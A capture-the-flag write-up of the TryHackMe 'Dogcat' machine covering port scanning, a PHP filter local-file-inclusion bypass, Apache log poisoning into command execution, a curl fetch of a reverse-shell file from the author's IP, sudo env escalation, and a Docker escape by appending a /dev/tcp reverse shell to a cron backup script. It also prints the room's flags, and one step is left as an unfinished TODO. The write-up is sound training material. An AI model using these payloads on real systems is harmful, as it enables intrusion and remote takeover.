---
title: "Writeup - Dogcat (THM)"
date: 2022-05-31
slug: "writeup-dogcat-thm"
type: "writeup-ctf"
---
This is a writeup for the [Dogcat](https://tryhackme.com/room/dogcat) machine from the TryHackMe site.
## Enumeration
First, let's start with a scan of our target with the following command:
```bash
nmap -sV -T4 -Pn 10.10.11.146
```
Two TCP ports are discovered:
- 22/tcp : SSH port (OpenSSH 7.6p1)
- 80/tcp : HTTP web server (Apache 2.4.38)
## Exploit
In a first step I start by making a scan of the website folders:
We find a page `cat.php`, it is surely the page which provides the random images of cat. With a little deduction I find a similar page: `dog.php`.
I notice the use of an argument when I click on one of the buttons. So I try a Local-Remote File Inclusion, but without success. An error tells us that the options are: `dog` & `cat`.
After some research I find the following page: [PHP Base64 Filter](https://blog.clever-age.com/fr/2014/10/21/owasp-local-remote-file-inclusion-lfi-rfi/). These are techniques to bypass security checks for Local-Remote File Inclusion. I try the version using a PHP filter:
```bash
http://10.10.91.89/?view=php://filter/read=convert.base64-encode/resource=cat/../index
```
I get the contents of the index file encoded in base64 :
```bash
dogcat
dogcat
a gallery of various dogs or cats
What would you like to see?
```
I can also use the same principle to get the content of the `flag.php` flag.
```bash
┌──(d3vyce㉿kali)-[~/Documents]
└─$ echo "PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=" | base64 -d
```
Pour faire une injection de commande //TODO
```bash
[11/May/2022:12:26:50 +0000] "GET /?view=php://filter/read=convert.base64-encode/resource=cat/../../../../etc/passwd&ext&test=id HTTP/1.1" 400 0 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data) "
```
```bash
http://10.10.91.89/?view=php://filter/resource=cat/../../../../../var/log/apache2/access.log&ext&test=curl%2010.8.3.186:80/reverse.php%20%3E%20reverse.php
```
I now have a reverse shell as `www-data`.
```bash
$ cd /var/www
$ ls
flag2_QMW7JvaY2LvK.txt
html
$ cat flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}
```
I can get the second flag.
## Privilege escalation
I start by checking the sudo permissions of my user :
I have the permission to run the `env` command as `root`. So I look on GTFObin to see if there is a possibility to launch a shell with this command: [env sudo](https://gtfobins.github.io/gtfobins/env/#sudo).
With the following command I create a `root` shell.
```bash
cd /root
ls
flag3.txt
cat flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}
```
I can get the third flag. After some research I notice a `dockerenv` file. So we are in a docker and I will have to find a way to get out to get the last flag.
```bash
ls -la
total 80
drwxr-xr-x 1 root root 4096 May 11 11:59 .
drwxr-xr-x 1 root root 4096 May 11 11:59 ..
-rwxr-xr-x 1 root root 0 May 11 11:59 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 26 2020 bin
drwxr-xr-x 2 root root 4096 Feb 1 2020 boot
drwxr-xr-x 5 root root 340 May 11 11:59 dev
drwxr-xr-x 1 root root 4096 May 11 11:59 etc
drwxr-xr-x 2 root root 4096 Feb 1 2020 home
drwxr-xr-x 1 root root 4096 Feb 26 2020 lib
drwxr-xr-x 2 root root 4096 Feb 24 2020 lib64
drwxr-xr-x 2 root root 4096 Feb 24 2020 media
drwxr-xr-x 2 root root 4096 Feb 24 2020 mnt
drwxr-xr-x 1 root root 4096 May 11 11:59 opt
dr-xr-xr-x 112 root root 0 May 11 11:59 proc
drwx------ 1 root root 4096 Mar 10 2020 root
drwxr-xr-x 1 root root 4096 Feb 26 2020 run
drwxr-xr-x 1 root root 4096 Feb 26 2020 sbin
drwxr-xr-x 2 root root 4096 Feb 24 2020 srv
dr-xr-xr-x 13 root root 0 May 11 11:59 sys
drwxrwxrwt 1 root root 4096 Mar 10 2020 tmp
drwxr-xr-x 1 root root 4096 Feb 24 2020 usr
drwxr-xr-x 1 root root 4096 Feb 26 2020 var
ls /otp
ls: cannot access '/otp': No such file or directory
ls /opt
backups
```
In the `/opt` folder I find a `backups` file with the following content:
```bash
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
```
backup.shIt is most certainly a script that runs regularly with a CRON job. Knowing that I can write to the file, I add the following line:
```bash
echo "bash -i >& /dev/tcp/10.8.3.186/2345 0>&1" >> backup.sh
```
After a few seconds, I have a reverse shell as root but on the machine and not in a docker.
I can now recover the last flag.
```bash
# cat /root/flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
```